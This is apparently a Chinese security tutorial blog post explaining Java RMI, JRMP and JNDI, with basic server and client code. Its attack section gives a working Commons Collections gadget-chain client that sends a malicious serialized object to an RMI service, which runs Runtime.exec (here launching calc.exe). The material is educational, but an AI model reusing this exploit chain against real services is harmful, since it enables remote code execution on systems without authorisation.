Java安全之RMI反序列化
0x00 前言
在分析Fastjson漏洞前,需要了解RMI機制和JNDI注入等知識點,所以本篇文來分析一下RMI機制。
在Java里面簡單來說使用Java調用遠程Java程序使用的就是RMI,調用C的程序調用的是JNI,調用python程序使用到的是Jython。RMI、JNI、Jython,其實在安全中都能發揮比較大的作用。 JNI在安全里面的運用就比較大了,既然可以調用C語言,那么后面的。。自行腦補。這個暫且忽略不講,后面再說。如果使用或了解過python編寫burp的插件的話,對這個Jython也不會陌生,如果說pthon的插件就需要安裝一個Jython的jar包。這個后面再說。這里主要講RMI,該機制會在反序列化中頻繁運用,例如Weblogic的T3協議的反序列化漏洞。
概念
在了解RMI前還需要弄懂一些概念。
RMI(Remote Method Invocation,遠程方法調用)是用Java在JDK1.2中實現的,它大大增強了Java開發分布式應用的能力。
Java本身對RMI規范的實現默認使用的是JRMP協議。而在Weblogic中對RMI規范的實現使用T3協議。
JRMP:Java Remote Message Protocol ,Java 遠程消息交換協議。這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。
RMI可以使用以下協議實現:
Java遠程方法協議(JRMP):專門為RMI設計的協議
Internet Inter-ORB協議(IIOP):基於CORBA實現的跨語言協議
JNDI :Java命名和目錄接口(the Java naming and directory interface,JNDI)是一組在Java應用中訪問命名和目錄服務的API。命名服務將名稱和對象聯系起來,使得讀者可以用名稱訪問對象。目錄服務是一種命名服務,在這種服務里,對象不但有名稱,還有屬性。
0x01 RMI作用
RMI概述
RMI(Remote Method Invocation)為遠程方法調用,是允許運行在一個Java虛擬機的對象調用運行在另一個Java虛擬機上的對象的方法。 這兩個虛擬機可以是運行在相同計算機上的不同進程中,也可以是運行在網絡上的不同計算機中。
在
不同於socket,RMI中分為三大部分:Server、Client、Registry 。
Server: 提供遠程的對象
Client: 調用遠程的對象
Registry: 一個注冊表,存放着遠程對象的位置(ip、端口、標識符)
RMI基礎運用
前面也說過RMI可以調用遠程的一個Java的對象進行本地執行,但是遠程被調用的該類必須繼承java.rmi.Remote接口。
- 定義一個遠程的接口
package com.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定義遠程接口的時候需要繼承java.rmi.Remote接口,並且修飾符需要為public否則遠程調用的時候會報錯。並且定義的方法里面需要拋出一個RemoteException的異常。
- 編寫一個遠程接口的實現類
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("構造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被調用");
return "hello,world";
}
}
在編寫該實現類中需要將該類繼承UnicastRemoteObject。
- 創建服務器實例,並且創建一個注冊表,將需要提供給客戶端的對象注冊到注冊到注冊表中
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class servet {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();//創建遠程對象
Registry registry = LocateRegistry.createRegistry(1099);//創建注冊表
registry.rebind("hello",hello);//將遠程對象注冊到注冊表里面,並且設置值為hello
}
}
到了這一步,簡單的RMI服務端的代碼就寫好了。下面來寫一個客戶端調用該遠程對象的代碼。
-
編寫客戶端並且調用遠程對象
package com.rmi.rmiclient; import com.rmi.RemoteHelloWorld; import com.rmi.rmidemo; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class clientdemo { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠程主機對象 // 利用注冊表的代理去查詢遠程注冊表中名為hello的對象 rmidemo hello = (rmidemo) registry.lookup("hello"); // 調用遠程方法 System.out.println(hello.hello()); } }
在這一步需要注意的是,如果遠程的這個方法有參數的話,調用該方法傳入的參數必須是可序列化的。在傳輸中是傳輸序列化后的數據,服務端會對客戶端的輸入進行反序列化。網上有很多分析RMI傳輸流量的文章,可以去找找看這里就不做演示了。
0x02 RMI 反序列化攻擊
需要使用到RM進行反序列化攻擊需要兩個條件:接收Object類型的參數、RMI的服務端存在執行命令利用鏈。
這里對上面得代碼做一個簡單的改寫。
遠程接口代碼:
package com.rmidemo;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
需要定義一個object類型的參數方法。
遠程接口實現類代碼:
package com.rmidemo;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被調用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
server 代碼:
package com.rmidemo;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
client代碼:
package com.rmidemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
執行客戶端后就會執行我們設置好要執行的命令,也就是彈出計算器。之所以會被執行的原因前面也說過RMI在傳輸數據的時候,會被序列化,傳輸的時序列化后的數據,在傳輸完成后再進行反序列化。那么這時候如果傳輸一個惡意的序列化數據就會進行反序列化的命令執行。至於序列化數據怎么構造,這個其實分析過CC鏈就一目了然了,這里不做贅述。

參考文章
https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8
0x03 結尾
在RMI的攻擊手法中,其實不止文中提到的這么一個,但是這里就先告一段落先。現在的主要是為了分析Fastjson漏洞做一個前置准備,不多太深的研究。
